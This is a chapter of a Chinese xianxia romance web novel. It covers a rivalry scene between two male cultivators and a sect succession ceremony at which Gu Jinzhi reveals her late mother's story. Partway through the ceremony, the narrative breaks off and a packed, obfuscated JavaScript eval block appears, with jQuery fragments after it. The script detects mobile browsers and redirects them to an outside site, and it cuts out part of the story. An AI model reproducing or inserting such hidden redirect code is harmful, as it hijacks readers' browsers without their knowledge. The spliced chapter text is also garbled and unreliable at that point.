36. 万灵境(十六)
作品:《被反派看到攻略条之后》 烛火朦胧,映出梅雨浓的脸。他并没有被吓到,反而挑衅地扬了扬眉:“你确定要在这里杀我?”
“现在不会杀你,以后谁知道呢。”姬行玉耸了耸肩,轻描淡写道。
他从袖子里取出一个鼓鼓囊囊的袋子,扔给梅雨浓。梅雨浓狐疑地接住,打开一看,里面装了数十块上等灵石,品色上佳,极为珍贵,足以租下这整座客栈一个月。
“我不想我的师妹小慈欠别人任何东西,或者说是人情,”姬行玉眉目淡然,停顿一瞬,“特别是你的。”
他们互通过姓名,梅雨浓自然知道他口中的小慈就是檀慈,却被姬行玉这理所应当的排外语气激得血液上涌。
从他在御兽宗认识天衍宗这四个弟子以来,他们不是对他淡淡的,就是姬行玉这种攻击性的排斥。
而姬行玉此人,在他面前明晃晃地展示过对檀慈的占有欲,天经地义地将她划进他自己的范围内,就像之前在黄阶兽园的马厩。
那种眼神绝对不是正常道侣间会有的,不是恋慕喜爱,而是偏执病态,如背后幽魂般死死纠缠不放。
就像是守护着一片珍宝的恶龙,虎视眈眈地伺机而动,随时会将觊觎珍宝的人撕成碎片。
而他好奇的点就在这里,按姬行玉说的他和檀慈是男宠与恩客的关系,再加上口口声声每次都要强调的檀慈很喜欢他,那不应该是檀慈扒着姬行玉不放,付出更多,甚至为了永远占据他,不惜下蛊吗?
一线牵情蛊的承受方可以选择阴蛊或阳蛊,最终只会是承受方独自死亡。这种情况下,按理说应该是檀慈给自己下的阴蛊为承受方,以此表明矢志不渝的深爱。
但目前来看,姬行玉反而患得患失,故意强调更像是底气不足的表现,此地无银三百两。难不成他作为阳蛊才是承受方?
梅雨浓看着姬行玉充满警告的眼神,心中一颤,终于忍不住脱口而出:“你这么做,不过是你一厢情愿罢了!”
本要离开的姬行玉停住脚步,转过身来面向他,暗绿的眸子里一片阴鸷。他挑起自己垂落在肩头的一缕发丝,取下上面的银色叶片装饰。
那簇叶子如洒落的月光般流动起来,化为一根细小的蝴蝶银簪,躺在他掌心中闪着亮晶晶的银光。
梅雨浓一眼就认出来,这是拍卖会上檀慈给他的,用来捆住那些灵兽的法宝。
姬行玉注视着他,嗓音冷冽,如冰玉相击,“我是不是一厢情愿,也不是你说了算的。至少现在,你连一厢情愿的资格都没有。”
“而且永远都不会有,”他像是在看什么跳梁小丑,暗含讥讽,“因为小慈喜欢干净。”
梅雨浓瞳孔微缩,脸色猛地一白,用力攥紧了拳头。
姬行玉弯唇笑了笑,又带上那副冰冷的面具,将这攻击性的一面隐藏在最里面:“收起你的那些把戏,身为合欢宗弟子,天底下你愿意去骗谁的情,和谁爱恨情仇我都不会管,只是除了我的师妹小慈。”
“因为你不配。管好你的手脚和你的小虫子,不要跟在小慈后面骚扰她,也别在我面前耍什么花招。她心慈手软,我却是心狠手辣,更是杀人的一把好手。”
话音刚落,他手腕翻转,手里的银簪被收起来,换成了一只血红色灵蝶。
这只熟悉的灵蝶在他掌心挣扎良久,被他毫不留情地合拢手掌,碾碎成一片粉末,洒落在地上混入尘土。
姬行玉满意地看着梅雨浓难看的脸色,由衷地露出今晚第一个真情实意的微笑。看他不好过,他就好过了。
他不再理会这等蠢货,心满意足地转身离开,寻思着找个机会敲打敲打檀慈。
而梅雨浓依旧站在原地一动不动,后背满是冷汗,心中嫉恨如野草般疯长。
他虽起了心思用灵蝶跟踪檀慈,却没想到这种隐蔽的手段立刻就被姬行玉识破,还被立了个下马威警告。
若是让他就此收手,却是不可能的。他现在越来越对这两人之间的关系感兴趣了,而且他们一定会跟着他去合欢宗。来日方长,到时候鹿死谁手尚未可知。
梅雨浓看着姬行玉远去的背影,压下心中的愤恨,掩耳盗铃地宽慰自己。
*
只是一眨眼,便到了后日顾瑾之的继任仪式。御兽宗的代理掌门继任仪式,也请了一些外宗修士前往观礼。
根据他们打探到的消息来看,顾瑾之除了要继任,还要了结拍卖会上沸沸扬扬的萧辰一案,借机将外宗修士平安送走。
遁形符时效太短,又容易被修为更高的大能识破。这种情况下,江雁影大显身手,用法宝和符咒替四人修改了面容。
师兄妹四人剑走偏锋,各自乔装打扮成外宗修士混入其中。
继任仪式设在万灵山山顶正中央玉台处,后面就是内门弟子平日修行的所在处。
耀眼的天光刺破云层,九重玉阶在晨雾中若隐若现。玉台的正中心地面上绘制了御兽宗的宗门兽纹图腾,也就是弟子服上的那颗兽头,往前几步放置了一个四足万兽方鼎炉。
玉台的四角处各自设立了玉柱,分别雕刻了青龙、白虎、朱雀、玄武的灵兽图样用来护法,威风凛凛,栩栩如生。
御兽宗诸位仙尊长老立于台下,台上却是青木仙君主持仪式。
顾征坐在特意为他准备的椅子上观礼,看起来极其虚弱,昏昏沉沉。顾恒之和阿若分别候在他的两侧。
而那头赤焰狮,也正恭顺地伏在玉阶下。
顾瑾之一改往日的打扮,脱去艳丽的红衣,身着玄金云纹麒麟袍缓缓登上祭坛。她面容平静,只有头发上还戴有那只金簪。
"恭迎代宗主——"
仙尊长老齐声唱喏,声浪如潮水般翻涌。檀慈借着俯身的动作往左侧挪了半步,悄悄抬头观察顾瑾之的一举一动。
青木仙君站在鼎炉旁边,递给顾瑾之三炷香。顾瑾之接过后,却并不急着上香,而是取出来了一个罐子,放于鼎炉之上。
旁边的顾恒之脸色猛地一变。
这种继任仪式的流程极其严苛死板,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976647|157823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
番变故引得台下宗门内外的修士们窃窃私语,躁动不安,人群瞬间嘈杂起来。
顾瑾之转身俯视台下众人,高声道:“今后我既为代宗主,在拜天地和先祖之前,需要先拜另外一人。”
“她的姓名已经被我的父亲抹去,可我相信却长存于某些人的心中。”
青木仙君脸色很不好看,急忙制止道:“瑾之!现在不是……”
顾瑾之充耳不闻地继续述说,声音坚定又清晰:“她就是我的母亲,一百七十六年前的以身殉道者,外门弟子,御兽宗宗主顾征的夫人,陆不悔。”
听到这个相同的姓氏,陆无尘的脸色一凝,攥紧了双手。
“混账逆女……”顾征坐在椅子上,气得胸膛起伏,涨红着脸喃喃自语。
随着顾瑾之的讲述,隐藏的谜团终于浮出水面。
“一百七十六年前,御兽宗外门内门的矛盾并不像现在这样激化。内门与外门的区别并不分明,待遇也相差无几。外门弟子若是足够努力,能力达标后也可顺利升为内门。”
“那时候最为激烈的矛盾是修士与灵兽。御兽御兽,宗门内的灵兽才是最底层的存在,修士们对灵兽动辄打骂。”
“而我娘陆不悔作为外门弟子,身负陆吾血脉,能与灵兽心意相通,对其十分怜爱,下定决心改变这种不平等的现状。”
“她一个人自然是痴心妄想,但她晓之以情,动之以理,再加上陆吾一族的天赋血脉,竟然很快号召起外门弟子用真心对待灵兽。心意相通后,外门弟子在灵兽帮助下的修为一日千里。”
“但时间一长,内门弟子对此惶惶不安,生怕到时候外门弟子全成了内门,内门反而成了外门。为了拉开差距,当时身为内门弟子中佼佼者的我的父亲顾征,找上了我的母亲陆不悔。”
“接下来就是很俗套的两人相爱了,结为道侣后生下了我和弟弟顾恒之。但父亲登上宗主之位后,在仙尊们长老们的压力下,对内外门弟子差距缩小,灵兽不再像被踩在脚底下的''兽''的现状越来越不满,也对母亲颇有怨言。”
“父亲一意孤行,拉开内外门弟子差距,激化内外门弟子间的矛盾,默许压榨虐待灵兽,创造出灵兽至死不能解除的和修士结的死命契,与母亲貌合神离。”
“在隐忍了两百多年后,恰逢妖族来犯,母亲的护身灵兽受伤濒死,母亲哀求父亲救它却被一同软禁。”
“母亲终于决定不再忍受,她压制了灵兽的魔气,放走了它。又私闯禁地,用寿元及陆吾一脉的血肉为代价,破除了所有灵兽的死命契,想让它们重获自由,却被——”
她还没说完,底下当年参与其中的几位长老们先坐不住了,暴怒地呵斥道:“住口!”
他们拔剑而起,挺身想要冲上祭坛。这等宗门内的腌臜事情,怎么能在外宗面前挑破?
顾瑾之立在原地没有闪躲,阿若飞身挡在她的面前,现出一团庞大雪白的原形。
仙境渺渺,灵山巍巍。有狐潜行,唤作九尾。